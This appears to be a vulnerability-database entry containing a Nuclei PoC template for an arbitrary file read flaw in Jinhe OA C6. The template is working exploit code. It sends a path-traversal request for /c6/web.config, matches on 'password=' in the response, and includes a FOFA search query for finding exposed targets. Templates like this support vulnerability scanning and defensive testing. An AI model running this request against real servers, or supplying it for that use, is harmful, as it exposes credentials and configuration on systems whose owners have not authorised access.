jinhe-oa-c6-lfi: Jinhe OA C6 download.jsp - Arbitary File Read

2025-08-01 jinhea c6 PoC Public

Description

There is an arbitrary file read vulnerability in Jinhe OA C6 download.jsp file, through which an attacker can obtain sensitive information in the server

PoC

id: jinhe-oa-c6-lfi

info:
  name: Jinhe OA C6 download.jsp - Arbitary File Read
  author: SleepingBag945
  severity: high
  description: |
    There is an arbitrary file read vulnerability in Jinhe OA C6 download.jsp file, through which an attacker can obtain sensitive information in the server
  classification:
    cwe-id: CWE-22,CWE-73
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="金和网络-金和OA"
  tags: jinhe,lfi,misconfig,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/C6/Jhsoft.Web.module/testbill/dj/download.asp?filename=/c6/web.config'

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body,"<configuration>") && contains(body,"password=")'
          - 'contains(header,"filename=") && contains(header,"application/octet-stream")'
        condition: and
# digest: 4b0a00483046022100be24fcc1811eacaf4c147b5cf67b9d66bb1452a4d6ea3a9412104da99fa04d1b0221008e72636fe4b508dcd7a0afd0654ca67e7343db6a342b85d06e3ed5f8478aae2b:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities